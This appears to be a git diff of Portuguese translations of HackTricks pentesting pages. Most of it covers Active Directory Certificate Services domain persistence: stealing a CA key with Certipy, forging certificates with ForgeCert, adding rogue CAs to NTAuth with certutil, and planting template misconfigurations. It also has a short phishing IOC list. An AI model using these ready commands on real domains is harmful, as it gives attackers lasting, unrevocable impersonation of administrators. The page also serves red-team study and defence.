- COM TypeLib hijacking of the Microsoft Web Browser control para que o IE/Explorer ou qualquer app que o incorpore reexecute o payload automaticamente. Veja detalhes e comandos prontos para uso aqui:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- Arquivos ZIP contendo a string marcador ASCII (por exemplo, xFIQCV) acrescentada aos dados do arquivo.
|
||||
- .lnk que enumera pastas parent/user para localizar o ZIP e abre um documento de isca.
|
||||
- Arquivos ZIP contendo a string marcador ASCII (por exemplo, xFIQCV) anexada aos dados do arquivo.
|
||||
- .lnk que enumera pastas pai/usuário para localizar o ZIP e abre um documento de isca.
|
||||
- Manipulação do AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Threads de negócios de longa duração que terminam com links hospedados em domínios PaaS confiáveis.
|
||||
- Threads de negócio de longa duração terminando com links hospedados em domínios PaaS confiáveis.
|
||||
|
||||
## Arquivos do Windows para roubar hashes NTLM
|
||||
|
||||
Consulte a página sobre **lugares para roubar credenciais NTLM**:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -2,26 +2,26 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Isto é um resumo das técnicas de persistência de domínio compartilhadas em [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Consulte-o para mais detalhes.
|
||||
**Isto é um resumo das técnicas de persistência de domínio compartilhadas em [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Verifique-o para mais detalhes.
|
||||
|
||||
## Forjando Certificados com Certificados CA Roubados - DPERSIST1
|
||||
## Forging Certificates with Stolen CA Certificates - DPERSIST1
|
||||
|
||||
How can you tell that a certificate is a CA certificate?
|
||||
Como saber se um certificado é um certificado de CA?
|
||||
|
||||
Pode-se determinar que um certificado é um certificado CA se várias condições forem atendidas:
|
||||
Pode-se determinar que um certificado é de CA se várias condições forem satisfeitas:
|
||||
|
||||
- O certificado está armazenado no servidor CA, com sua chave privada protegida pelo DPAPI da máquina, ou por hardware como TPM/HSM se o sistema operacional oferecer suporte.
|
||||
- Os campos Issuer e Subject do certificado correspondem ao distinguished name da CA.
|
||||
- Uma extensão "CA Version" está presente exclusivamente nos certificados CA.
|
||||
- O certificado está armazenado no servidor CA, com sua chave privada protegida pelo DPAPI da máquina, ou por hardware como TPM/HSM se o sistema operacional suportar.
|
||||
- Ambos os campos Issuer e Subject do certificado coincidem com o distinguished name da CA.
|
||||
- Uma extensão "CA Version" está presente exclusivamente nos certificados de CA.
|
||||
- O certificado não possui campos Extended Key Usage (EKU).
|
||||
|
||||
Para extrair a chave privada desse certificado, a ferramenta `certsrv.msc` no servidor CA é o método suportado via a GUI integrada. Contudo, este certificado não difere dos demais armazenados no sistema; portanto, métodos como a [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) podem ser aplicados para extração.
|
||||
Para extrair a chave privada deste certificado, a ferramenta `certsrv.msc` no servidor CA é o método suportado via GUI integrada. No entanto, este certificado não difere dos outros armazenados no sistema; portanto, métodos como a [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) podem ser aplicados para extração.
|
||||
|
||||
O certificado e a chave privada também podem ser obtidos usando Certipy com o seguinte comando:
|
||||
```bash
|
||||
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
||||
```
|
||||
Após adquirir o certificado da CA e sua chave privada no formato `.pfx`, ferramentas como [ForgeCert](https://github.com/GhostPack/ForgeCert) podem ser utilizadas para gerar certificados válidos:
|
||||
Após adquirir o certificado CA e sua chave privada no formato `.pfx`, ferramentas como [ForgeCert](https://github.com/GhostPack/ForgeCert) podem ser utilizadas para gerar certificados válidos:
|
||||
```bash
|
||||
# Generating a new certificate with ForgeCert
|
||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
||||
@ -36,16 +36,16 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
|
||||
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
||||
```
|
||||
> [!WARNING]
|
||||
> O usuário alvo da falsificação de certificado deve estar ativo e ser capaz de autenticar no Active Directory para o processo ter sucesso. Forjar um certificado para contas especiais como krbtgt é ineficaz.
|
||||
> O usuário alvo da falsificação de certificado deve estar ativo e ser capaz de autenticar no Active Directory para que o processo tenha sucesso. Falsificar um certificado para contas especiais como krbtgt é ineficaz.
|
||||
|
||||
Este certificado forjado será **válido** até a data de término especificada e enquanto o certificado CA raiz for válido (normalmente de 5 a **10+ anos**). Também é válido para **máquinas**, então, combinado com **S4U2Self**, um atacante pode **manter persistência em qualquer máquina do domínio** pelo tempo em que o certificado CA for válido.\
|
||||
Além disso, os **certificados gerados** com este método **não podem ser revogados**, pois a CA não tem conhecimento deles.
|
||||
Este certificado forjado será **válido** até a data de expiração especificada e enquanto o certificado do root CA estiver válido (geralmente de 5 a **10+ anos**). Também é válido para **máquinas**, então combinado com **S4U2Self**, um atacante pode **manter persistência em qualquer máquina do domínio** pelo tempo em que o certificado da CA estiver válido.\
|
||||
Além disso, os **certificados gerados** com este método **não podem ser revogados** porque a CA não tem conhecimento deles.
|
||||
|
||||
### Operando sob a aplicação rigorosa de mapeamento de certificados (2025+)
|
||||
### Operando sob a Aplicação Rigorosa de Mapeamento de Certificados (2025+)
|
||||
|
||||
Desde 11 de fevereiro de 2025 (após a implantação do KB5014754), os controladores de domínio passam a usar por padrão **Full Enforcement** para mapeamentos de certificados. Na prática isso significa que seus certificados forjados devem ou:
|
||||
Desde 11 de fevereiro de 2025 (após a implantação do KB5014754), os controladores de domínio usam por padrão **Full Enforcement** para mapeamentos de certificados. Na prática isso significa que seus certificados forjados devem ou:
|
||||
|
||||
- Conter um vínculo forte com a conta alvo (por exemplo, a extensão de segurança SID), ou
|
||||
- Conter um vínculo forte à conta alvo (por exemplo, a SID security extension), ou
|
||||
- Ser emparelhado com um mapeamento explícito e forte no atributo `altSecurityIdentities` do objeto alvo.
|
||||
|
||||
Uma abordagem confiável para persistência é emitir um certificado forjado encadeado à Enterprise CA roubada e então adicionar um mapeamento explícito e forte ao principal da vítima:
|
||||
@ -57,16 +57,16 @@ $Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
|
||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
```
|
||||
Notas
|
||||
- Se você conseguir criar certificados forjados que incluam a extensão de segurança SID, eles mapearão implicitamente mesmo sob Full Enforcement. Caso contrário, prefira mapeamentos explícitos e fortes. Veja [account-persistence](account-persistence.md) para mais sobre mapeamentos explícitos.
|
||||
- Revogação não ajuda os defensores aqui: certificados forjados são desconhecidos para o banco de dados da CA e, portanto, não podem ser revogados.
|
||||
- Se você puder criar certificados forjados que incluam a extensão de segurança SID, estes mapearão implicitamente mesmo sob Full Enforcement. Caso contrário, prefira mapeamentos explícitos e fortes. Veja [account-persistence](account-persistence.md) para mais sobre mapeamentos explícitos.
|
||||
- A revogação não ajuda os defensores neste caso: certificados forjados são desconhecidos para o CA database e, portanto, não podem ser revogados.
|
||||
|
||||
## Confiando em Certificados CA Forjados - DPERSIST2
|
||||
## Trusting Rogue CA Certificates - DPERSIST2
|
||||
|
||||
O objeto `NTAuthCertificates` é definido para conter um ou mais **certificados CA** dentro de seu atributo `cacertificate`, que o Active Directory (AD) utiliza. O processo de verificação pelo **controlador de domínio** envolve checar o objeto `NTAuthCertificates` em busca de uma entrada que corresponda à **CA especificada** no campo Issuer do **certificado** que está autenticando. A autenticação prossegue se for encontrada uma correspondência.
|
||||
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
|
||||
|
||||
Um certificado CA autoassinado pode ser adicionado ao objeto `NTAuthCertificates` por um atacante, desde que ele tenha controle sobre esse objeto do AD. Normalmente, apenas membros do grupo **Enterprise Admin**, junto com **Domain Admins** ou **Administrators** no domínio raiz da floresta, têm permissão para modificar esse objeto. Eles podem editar o objeto `NTAuthCertificates` usando `certutil.exe` com o comando `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, ou empregando a [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest root’s domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
|
||||
Comandos adicionais úteis para esta técnica:
|
||||
Additional helpful commands for this technique:
|
||||
```bash
|
||||
# Add/remove and inspect the Enterprise NTAuth store
|
||||
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
|
||||
@ -77,32 +77,34 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
|
||||
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
||||
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
||||
```
|
||||
Essa capacidade é especialmente relevante quando usada em conjunto com um método previamente descrito envolvendo ForgeCert para gerar certificados dinamicamente.
|
||||
Esta capacidade é especialmente relevante quando usada em conjunto com um método previamente descrito envolvendo ForgeCert para gerar certificados dinamicamente.
|
||||
|
||||
> Considerações de mapeamento pós-2025: colocar uma CA rogue em NTAuth apenas estabelece confiança na CA emissora. Para usar certificados leaf para logon quando os DCs estiverem em **Full Enforcement**, o leaf deve ou conter a extensão de segurança SID ou deve haver um mapeamento explícito forte no objeto alvo (por exemplo, Issuer+Serial em `altSecurityIdentities`). Veja {{#ref}}account-persistence.md{{#endref}}.
|
||||
> Considerações de mapeamento pós-2025: colocar uma CA rogue em NTAuth apenas estabelece confiança na CA emissora. Para usar certificados leaf para logon quando os DCs estiverem em **Full Enforcement**, o certificado leaf deve ou conter a extensão de segurança SID ou deve haver um mapeamento explícito forte no objeto alvo (por exemplo, Issuer+Serial em `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
|
||||
|
||||
## Má Configuração Maliciosa - DPERSIST3
|
||||
## Configuração maliciosa - DPERSIST3
|
||||
|
||||
Há muitas oportunidades para **persistência** através de **modificações de descritores de segurança dos componentes do AD CS**. Modificações descritas na seção "[Domain Escalation](domain-escalation.md)" podem ser implementadas maliciosamente por um atacante com acesso elevado. Isso inclui a adição de "control rights" (por exemplo, WriteOwner/WriteDACL/etc.) a componentes sensíveis como:
|
||||
Existem muitas oportunidades para **persistência** por meio de **modificações do security descriptor nos componentes do AD CS**. As modificações descritas na seção "[Domain Escalation](domain-escalation.md)" podem ser implementadas maliciosamente por um atacante com acesso elevado. Isso inclui a adição de "control rights" (por exemplo, WriteOwner/WriteDACL/etc.) a componentes sensíveis como:
|
||||
|
||||
- O objeto **AD computer do servidor CA**
|
||||
- O servidor **RPC/DCOM** do servidor CA
|
||||
- Qualquer **objeto AD descendente ou contêiner** em **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (por exemplo, o contêiner Certificate Templates, o contêiner Certification Authorities, o objeto NTAuthCertificates, etc.)
|
||||
- **Grupos AD delegados com direitos para controlar o AD CS** por padrão ou pela organização (como o grupo integrado Cert Publishers e quaisquer de seus membros)
|
||||
- O objeto de computador AD do servidor CA
|
||||
- O servidor RPC/DCOM do servidor CA
|
||||
- Qualquer **objeto ou container AD descendente** em **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (por exemplo, o Certificate Templates container, o Certification Authorities container, o objeto NTAuthCertificates, etc.)
|
||||
- Grupos AD com direitos delegados para controlar o AD CS por padrão ou pela organização (como o grupo integrado Cert Publishers e qualquer um de seus membros)
|
||||
|
||||
Um exemplo de implementação maliciosa envolveria um atacante, que tem **permissões elevadas** no domínio, adicionando a permissão **`WriteOwner`** ao template de certificado padrão **`User`**, com o atacante sendo o principal para esse direito. Para explorar isso, o atacante primeiro mudaria a propriedade do template **`User`** para si. Em seguida, o **`mspki-certificate-name-flag`** seria definido como **1** no template para habilitar **`ENROLLEE_SUPPLIES_SUBJECT`**, permitindo que um usuário forneça um Subject Alternative Name na solicitação. Posteriormente, o atacante poderia **enroll** usando o **template**, escolhendo um nome de **domain administrator** como nome alternativo, e utilizar o certificado adquirido para autenticação como o DA.
|
||||
Um exemplo de implementação maliciosa envolveria um atacante, que possui **permissões elevadas** no domínio, adicionando a permissão **`WriteOwner`** ao template de certificado padrão **`User`**, com o atacante sendo o principal para esse direito. Para explorar isso, o atacante primeiro mudaria a propriedade do template **`User`** para si mesmo. Na sequência, o **`mspki-certificate-name-flag`** seria definido como **1** no template para habilitar **`ENROLLEE_SUPPLIES_SUBJECT`**, permitindo que um usuário forneça um Subject Alternative Name na requisição. Posteriormente, o atacante poderia **enroll** usando o **template**, escolhendo um nome de **administrador de domínio** como nome alternativo, e utilizar o certificado adquirido para autenticação como o DA.
|
||||
|
||||
Configurações práticas que atacantes podem definir para persistência de longo prazo no domínio (veja {{#ref}}domain-escalation.md{{#endref}} para detalhes completos e detecção):
|
||||
Ajustes práticos que atacantes podem configurar para persistência de longo prazo no domínio (veja {{#ref}}domain-escalation.md{{#endref}} para detalhes completos e detecção):
|
||||
|
||||
- Flags de política da CA que permitem SAN de requisitantes (por exemplo, habilitar `EDITF_ATTRIBUTESUBJECTALTNAME2`). Isso mantém caminhos semelhantes ao ESC1 exploráveis.
|
||||
- DACL do template ou configurações que permitem emissão com capacidade de autenticação (por exemplo, adicionar Client Authentication EKU, habilitar `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||
- Controlar o objeto `NTAuthCertificates` ou os contêineres de CA para reintroduzir continuamente emissores rogue se os defensores tentarem limpeza.
|
||||
- Flags de política da CA que permitem SAN a partir dos solicitantes (por exemplo, habilitar `EDITF_ATTRIBUTESUBJECTALTNAME2`). Isso mantém caminhos do tipo ESC1 exploráveis.
|
||||
- DACL ou configurações do template que permitem emissão com capacidade de autenticação (por exemplo, adicionar Client Authentication EKU, habilitar `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||
- Controlar o objeto `NTAuthCertificates` ou os containers do CA para reintroduzir continuamente emissores rogue se defensores tentarem limpar.
|
||||
|
||||
> [!TIP]
|
||||
> Em ambientes hardenizados após KB5014754, parear essas más configurações com mapeamentos explícitos fortes (`altSecurityIdentities`) garante que seus certificados emitidos ou forjados permaneçam utilizáveis mesmo quando os DCs aplicarem mapeamento forte.
|
||||
> Em ambientes reforçados após KB5014754, combinar essas configurações incorretas com mapeamentos explícitos fortes (`altSecurityIdentities`) garante que os certificados que você emitiu ou forjou permaneçam utilizáveis mesmo quando os DCs aplicarem mapeamento forte.
|
||||
|
||||
|
||||
|
||||
## Referências
|
||||
|
||||
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
- Microsoft KB5014754 – Alterações na autenticação baseada em certificados nos Windows domain controllers (cronograma de aplicação e mapeamentos fortes). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Referência de comandos e uso de forge/auth. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user